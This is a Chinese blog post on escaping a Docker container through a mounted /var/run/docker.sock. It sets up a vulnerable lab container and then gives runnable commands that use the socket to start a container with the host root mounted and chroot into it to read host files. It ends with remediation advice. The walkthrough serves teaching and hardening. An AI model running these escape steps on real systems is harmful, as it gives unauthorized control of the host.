挂载逃逸(Socket)
影响版本
危险的配置错误。只要满足以下条件,无论 Docker 版本新旧,均存在风险
- 挂载了 Docker Socket: 启动容器时使用了
-v /var/run/docker.sock:/var/run/docker.sock这样的参数 - 容器内权限足够: 攻击者在容器内获得的用户权限(通常是 root)足以执行 Docker 命令或与 socket 文件交互。
漏洞原理
当容器被授予了与 Docker 守护进程(Docker Daemon)直接通信的权限时,攻击者可以利用此权限控制宿主机。通常是由于将宿主机的 /var/run/docker.sock 文件挂载到容器内部实现的。
环境搭建
sudo docker run -v /var/run/docker.sock:/var/run/docker.sock -it --name vulnerable_container ubuntu /bin/bash
漏洞复现
容器内安装Docker客户端
apt update && apt install -y docker.io
可以利用Socket控制宿主机Docker:通过sock文件与宿主机Docker通信,例如列出宿主机的容器:
docker -H unix:///var/run/docker.sock ps -a
逃逸:创建一个新容器,将宿主机根目录挂载到新容器内
docker -H unix:///var/run/docker.sock run -it -v /:/escape ubuntu /bin/bash
然后在新容器内执行chroot /escape bash即可访问宿主机文件系统。
#在桌面创建了一个文件1.txt
echo "test" >1.txt
#容器的容器内执行,读取文件
chroot /escape bash
cat 1.txt


修复建议
Docker Socket 逃逸是一种高风险配置错误,它并非特定版本的漏洞。其核心在于容器内进程获得了与高权限的 Docker 守护进程通信的能力。防范的关键在于避免不必要的敏感挂载、遵循最小权限原则并实施严格的身份验证和授权。
本文来自博客园,作者:Rodericklog,转载请注明原文链接:https://www.cnblogs.com/rodericklog/articles/19444790

浙公网安备 33010602011771号